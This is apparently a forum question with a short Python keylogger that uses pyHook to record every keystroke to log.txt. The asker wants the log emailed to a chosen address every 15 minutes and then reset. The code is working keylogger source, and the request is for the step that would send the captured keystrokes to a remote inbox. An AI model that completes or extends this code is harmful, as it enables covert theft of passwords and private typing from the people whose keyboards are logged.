I would like to know how do I make my log.txt file be sent to a desired email at a set time (Ex: 15 min)? And after being sent, the process restarts and make a new log.txt

    import pythoncom, pyHook,
    
    def registrar(evento):
        arquivo = open('log.txt', 'a')
        teclas = chr(evento.Ascii)
        arquivo.write(teclas)
    
    hook = pyHook.HookManager()
    hook.KeyDown = registrar
    hook.HookKeyboard()
    
    pythoncom.PumpMessages()